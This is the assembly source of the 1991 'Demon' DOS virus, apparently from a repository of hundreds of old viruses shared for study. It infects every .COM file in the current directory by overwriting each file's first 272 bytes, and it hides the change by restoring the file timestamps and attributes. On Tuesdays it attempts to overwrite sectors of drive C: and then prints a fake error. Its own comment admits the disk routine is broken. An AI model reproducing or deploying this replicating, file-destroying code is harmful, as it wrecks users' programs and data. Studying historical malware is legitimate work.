demon.asm

More than 800 virus code (old school) just for fun and studying prehistoric viruses. WARNING: use

;========== Demon virus ==================================== 22.09.91 ========
;
; Assemble and link with:  TASM  DEMON.VIR
;                          TLINK DEMON /X/T
; Infect all .COM programs in current directory with: DEMON
;
;                       !!! NOT ON A TUESDAY !!!
;
;-------------- Constants and structures

Tuesday         =       2                       ; INT 21h, AH=2Ah

Search_Rec      struc                           ; directory search record
                db      21 dup (?)              ;   reserved for DOS
  FileAttr      db      ?                       ;   file attribute
  FileTime      dw      ?                       ;   packed file time
  FileDate      dw      ?                       ;   packed file date
  FileSize      dd      ?                       ;   long file size
  FileName      db      13 dup (?)              ;   ASCIIZ FILENAME.EXT
Search_Rec      ends

;-------------- Demon virus segment

Virus           segment
                assume  cs:Virus,ds:Virus,es:Virus,ss:Virus

                org     0080h
DTA             Search_Rec <>                   ; disk transfer area

                org     0100h
Demon:                                          ; virus entry point
Virus_Size      =       Virus_End - Demon       ; virus size = 272 bytes

                mov     dx,offset All_COM       ; find first .COM file,
                mov     ah,4eh                  ;   including hidden/system
                mov     cx,110bh
                int     21h
                nop
                jnc     Infect                  ; abort if no files found
                jmp     short Check_Day
Infect:         call    Replicate               ; overwrite first 272 bytes
                mov     dx,offset DTA
                mov     ah,4fh                  ; find next .COM file,
                int     21h                     ;   go check day if none found
                nop                             ;   else repeat
                jnc     Next_File
                jmp     short Check_Day
Next_File:      jmp     Infect
Check_Day:      mov     ah,2ah                  ; get DOS date, check day
                int     21h
                cmp     al,Tuesday              ; Tuesday ?
                je      Thrash_Drive            ; if yes, thrash drive C:
                mov     ah,4ch                  ;   else exit to DOS
                int     21h

Thrash_Drive:   mov     Counter,0               ; overwrite first 160 sectors
                jmp     Write_Sectors           ;   of drive C: with garbage
Write_Sectors:  mov     al,Drive_C              ; Error: doesn't work !
                mov     cx,160                  ; AL=C:, CX=160 sectors
                mov     dx,0                    ; DX=highest sector in drive !
                mov     bx,0                    ; DS:BX=start of PSP area
                int     26h                     ; overwrite sectors
                inc     Counter
                cmp     Counter,10              ; repeat 10 times
                je      Show_Msg
                jne     Write_Sectors
Show_Msg:       mov     ah,09h                  ; show a fake error message
                mov     dx,offset Virus_Msg     ;   and exit to DOS
                int     21h
                mov     ah,4ch
                int     21h

Replicate:      mov     dx,offset DTA.FileName  ; save file attribute
                mov     ax,4300h
                int     21h
                mov     COM_Attr,cx
                nop
                xor     cx,cx                   ; unprotect the .COM file
                mov     ax,4301h                ;   in case it's read-only
                int     21h
                nop
                mov     ax,3d02h                ; open .COM file for R/W,
                int     21h                     ;   abort on error
                nop
                jc      Check_Day
                mov     bx,ax                   ; BX = file handle
                mov     ax,5700h
                int     21h                     ; save file date and time
                nop
                mov     COM_Time,cx
                mov     COM_Date,dx
                mov     dx,offset Demon         ; overwrite first 272 bytes
                mov     ah,40h                  ;   of .COM program file
                mov     cx,Virus_Size           ;   with the virus code
                int     21h
                nop
                mov     ax,5701h                ; restore file date and time
                mov     dx,COM_Date
                mov     cx,COM_Time
                int     21h
                mov     ah,3eh                  ; close the file
                int     21h
                nop
                mov     dx,offset DTA.FileName  ; restore file attribute
                mov     cx,COM_Attr
                mov     ax,4301h
                int     21h
                retn

All_COM         db      '*.COM',0               ; dir search specification
COM_Date        dw      0                       ; packed .COM program date
COM_Time        dw      0                       ; packed .COM program time
COM_Attr        dw      0                       ; .COM program file attribute
Counter         db      0                       ; used when thrashing drive C:
Drive_C         db      2                       ; INT 26h C: drive number
                dw      0
Copyright       db      'Demonhyak Viri X.X (c) by Cracker Jack 1991 (IVRL)'
                dw      0
Virus_Msg       db      10,13,'Error eating drive C:',10,13,'$'

Virus_End       label   byte                    ; virus code+data end

Virus           ends
                end     Demon